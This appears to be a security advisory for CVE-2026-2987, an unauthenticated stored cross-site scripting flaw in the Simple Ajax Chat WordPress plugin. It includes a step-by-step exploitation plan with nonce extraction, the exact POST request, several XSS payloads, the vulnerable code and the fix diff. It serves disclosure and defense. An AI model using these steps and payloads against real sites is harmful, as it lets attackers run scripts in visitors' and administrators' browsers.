Simple Ajax Chat <= 20260217 - Unauthenticated Stored Cross-Site Scripting via 'c'
Description
The Simple Ajax Chat plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'c' parameter in versions up to, and including, 20260217 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:NTechnical Details
<=20260217What Changed in the Fix
Changes introduced in v20260301
Source Code
WordPress.org SVNThis plan outlines the steps required to demonstrate an unauthenticated Stored Cross-Site Scripting (XSS) vulnerability in the **Simple Ajax Chat** plugin (CVE-2026-2987). ### 1. Vulnerability Summary The Simple Ajax Chat plugin fails to sanitize user-provided chat messages (parameter `c`) before s…
Show full research plan
This plan outlines the steps required to demonstrate an unauthenticated Stored Cross-Site Scripting (XSS) vulnerability in the Simple Ajax Chat plugin (CVE-2026-2987).
1. Vulnerability Summary
The Simple Ajax Chat plugin fails to sanitize user-provided chat messages (parameter c) before storing them in the database and fails to escape them when displaying the chat history. An unauthenticated attacker can submit a chat message containing malicious JavaScript. When any user (including administrators) views the chat box, the payload executes in their browser.
The vulnerability resides in the interaction between the chat submission handler (likely sac_shout_post or similar) and the retrieval handler sac_getData in simple-ajax-chat.php, which echoes raw database content.
2. Attack Vector Analysis
- Endpoint: The site root
index.php(orsimple-ajax-chat-core.php) acting as an AJAX endpoint. - Action Trigger:
GETorPOSTparameterssacSendChat=yes(for injection) andsacGetChat=yes(for execution). - Vulnerable Parameter:
c(the chat message). - Authentication: None required (unauthenticated).
- Preconditions: The chat box must be active on a page, and "Restrict chat to logged-in users" must be disabled (default).
3. Code Flow
- Injection Path:
- A
POSTrequest is sent to/?sacSendChat=yes. simple-ajax-chat.phpprocesses the request via aninithook.$sac_user_textis assigned from$_POST['c'](Line 50).- The message is inserted into the
$wpdb->prefix . 'ajax_chat'table in thetextcolumn (Logic insac_shout_post, inferred fromsac_create_tableat Line 147).
- A
- Execution Path:
- A
GETrequest is sent to/?sacGetChat=yes&sac_nonce_receive=[NONCE]&sac_lastID=0. sac_getData($sac_lastID)is called viainithook (Line 185).- The function queries the database:
SELECT * FROM ... ajax_chat WHERE id > ...(Line 167). - The message text is retrieved into
$text(Line 174). - The text is concatenated into the
$loopstring without escaping:$loop = $id .'---'. $name .'---'. $text . ...(Line 177). echo $loop;sends the raw payload to the browser (Line 183).- The plugin's JavaScript (
resources/sac.php) receives the string and likely inserts it into the DOM using a method like.innerHTML.
- A
4. Nonce Acquisition Strategy
The plugin uses nonces to protect both sending and receiving chat data. These must be obtained by visiting a page where the chat is rendered.
- Shortcode:
[sac_chat] - Execution Agent Strategy:
- Create a public page with the shortcode:
wp post create --post_type=page --post_title="Chat" --post_status=publish --post_content='[sac_chat]'. - Navigate to the new page using
browser_navigate. - Extract nonces using
browser_eval.
- Create a public page with the shortcode:
- JS Variables/Selectors:
- Send Nonce:
document.getElementById('sac_nonce_send')?.valueor checkwindow.sac_lan?.sac_nonce_send. - Receive Nonce:
document.getElementById('sac_nonce_receive')?.valueor checkwindow.sac_lan?.sac_nonce_receive. - Note: The nonce action names are
sac_nonce_sendandsac_nonce_receive.
- Send Nonce:
5. Exploitation Strategy
Step 1: Obtain Nonces
Send a GET request via the browser to the page containing [sac_chat] and extract the nonces from the hidden input fields.
Step 2: Inject Payload
Send a POST request to submit the malicious chat.
- URL:
http://<target>/index.php?sacSendChat=yes - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
n=Attacker&c=<img src=x onerror=alert(document.domain)>&u=http://example.com&sac_nonce_send=[EXTRACTED_SEND_NONCE]
Step 3: Verify Storage and Execution
Poll the chat data endpoint to confirm the payload is returned unescaped.
- URL:
http://<target>/index.php?sacGetChat=yes&sac_nonce_receive=[EXTRACTED_RECEIVE_NONCE]&sac_lastID=0 - Expected Response: A string containing
---<img src=x onerror=alert(document.domain)>---.
6. Test Data Setup
- Plugin Activation: Ensure
simple-ajax-chatis active. - Configuration: Ensure "Restrict chat to logged-in users" is not checked in the SAC settings.
- Page Creation:
wp post create --post_type=page --post_title="Chat Room" --post_status=publish --post_content='[sac_chat]'
7. Expected Results
- The injection request should return a successful response (often the newly created chat ID or a partial string).
- The retrieval request (
sacGetChat) will return the raw HTML<img>tag. - In a real browser, the
onerrorevent will trigger, executingalert(document.domain).
8. Verification Steps
After performing the HTTP requests, verify the database state using WP-CLI:
# Check the text column for the payload
wp db query "SELECT name, text FROM $(wp db prefix)ajax_chat ORDER BY id DESC LIMIT 1;"
Confirm the output shows the literal <img ...> string without HTML entity encoding.
9. Alternative Approaches
If the sac_nonce_send is not found in the HTML, check the enqueued JavaScript file resources/sac.php. Since this file is generated dynamically by PHP (Line 11), it may contain localized data or direct variable assignments. Use browser_eval("window") to inspect all global objects for properties containing "nonce".
If the payload <img ...> is blocked by a basic filter, try:
c=<svg/onload=alert(1)>c=javascript:alert(1)(If themake_linksfunction atresources/sac.php:203processes the message body directly).
Summary
The Simple Ajax Chat plugin for WordPress is vulnerable to unauthenticated Stored Cross-Site Scripting via the 'c' (chat message) parameter. The plugin fails to sanitize this input when storing it in the database and subsequently echoes the raw data in its AJAX retrieval handler, allowing arbitrary JavaScript to execute in the browser of any user viewing the chat box.
Vulnerable Code
// simple-ajax-chat.php:50 $sac_user_text = isset($_POST['c']) ? $_POST['c'] : ''; --- // simple-ajax-chat.php:174-183 if (isset($query[$row]) && !empty($query[$row]) && is_array($query[$row])) { $id = isset($query[$row]['id']) ? $query[$row]['id'] : ''; $time = isset($query[$row]['time']) ? $query[$row]['time'] : ''; $name = isset($query[$row]['name']) ? $query[$row]['name'] : ''; $text = isset($query[$row]['text']) ? $query[$row]['text'] : ''; $url = isset($query[$row]['url']) ? $query[$row]['url'] : ''; $time = sac_time_since($time); $loop = $id .'---'. $name .'---'. $text .'---'. $time .' '. esc_html__('ago', 'simple-ajax-chat') .'---'. $url .'---'; } --- // resources/sac.php:198-201 function make_links(s) { var url = s.replace(/[\'\"\<\>\%\{\}\|\^\`\(\)\[\]]/g, ''); return '<a target="_blank" rel="noopener noreferrer" href="'+ url +'" class="sac-chat-link">«link»</a>'; };
Security Fix
@@ -9,9 +9,9 @@ Donate link: https://monzillamedia.com/donate.html Contributors: specialk Requires at least: 4.7 -Tested up to: 6.9 -Stable tag: 20260225 -Version: 20260225 +Tested up to: 7.0 +Stable tag: 20260301 +Version: 20260301 Requires PHP: 5.6.20 Text Domain: simple-ajax-chat Domain Path: /languages @@ -380,10 +380,9 @@ > 👉 [Pro version](https://plugin-planet.com/simple-ajax-chat-pro/) supports unlimited chats, user blocking/muting, advanced chat management, emojis, and much more! -**20260225** +**20260301** -* Improves sanitization of malformed URLs -* Adds `_blank` attribute to chat links +* Fixes bug with chat messages appearing as links * Tests on WordPress 6.9 + 7.0 (beta) @@ -196,8 +196,9 @@ // links function make_links(s) { - var url = s.replace(/[\'\"\<\>\%\{\}\|\^\`\(\)\[\]]/g, ''); - return '<a target="_blank" rel="noopener noreferrer" href="'+ url +'" class="sac-chat-link">«link»</a>'; + var re = /((http|https|ftp):\/\/[^\s\'\"\%]*)/gi; + var text = s.replace(re, '<a target="_blank" rel="noopener noreferrer" href="$1" class="sac-chat-link">«link»</a>'); + return text; }; // sound alerts @@ -9,9 +9,9 @@ Donate link: https://monzillamedia.com/donate.html Contributors: specialk Requires at least: 4.7 - Tested up to: 6.9 - Stable tag: 20260225 - Version: 20260225 + Tested up to: 7.0 + Stable tag: 20260301 + Version: 20260301 Requires PHP: 5.6.20 Text Domain: simple-ajax-chat Domain Path: /languages @@ -36,7 +36,7 @@ if (!defined('ABSPATH')) exit; if (!defined('SIMPLE_AJAX_CHAT_WP_VERS')) define('SIMPLE_AJAX_CHAT_WP_VERS', '4.7'); -if (!defined('SIMPLE_AJAX_CHAT_VERSION')) define('SIMPLE_AJAX_CHAT_VERSION', '20260225'); +if (!defined('SIMPLE_AJAX_CHAT_VERSION')) define('SIMPLE_AJAX_CHAT_VERSION', '20260301'); if (!defined('SIMPLE_AJAX_CHAT_NAME')) define('SIMPLE_AJAX_CHAT_NAME', 'Simple Ajax Chat'); if (!defined('SIMPLE_AJAX_CHAT_HOME')) define('SIMPLE_AJAX_CHAT_HOME', 'https://perishablepress.com/simple-ajax-chat/'); if (!defined('SIMPLE_AJAX_CHAT_FILE')) define('SIMPLE_AJAX_CHAT_FILE', __FILE__);
Exploit Outline
1. **Identify the Chat Page**: Locate a page on the target WordPress site where the `[sac_chat]` shortcode is embedded. 2. **Extract Nonces**: View the page source or use browser developer tools to find the `sac_nonce_send` (for posting) and `sac_nonce_receive` (for polling) nonces. These are usually in hidden input fields. 3. **Inject Stored XSS**: Send an unauthenticated HTTP POST request to `/?sacSendChat=yes` with the following parameters: - `n`: Any display name - `c`: The XSS payload (e.g., `<img src=x onerror=alert(document.domain)>`) - `u`: An optional URL - `sac_nonce_send`: The extracted send nonce 4. **Trigger Execution**: When any user (including administrators) views the chat page, the plugin's frontend JavaScript fetches new messages via `sac_getData`. The server returns the raw payload, which is then dynamically inserted into the DOM (typically using `.innerHTML`), causing the browser to execute the malicious script.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.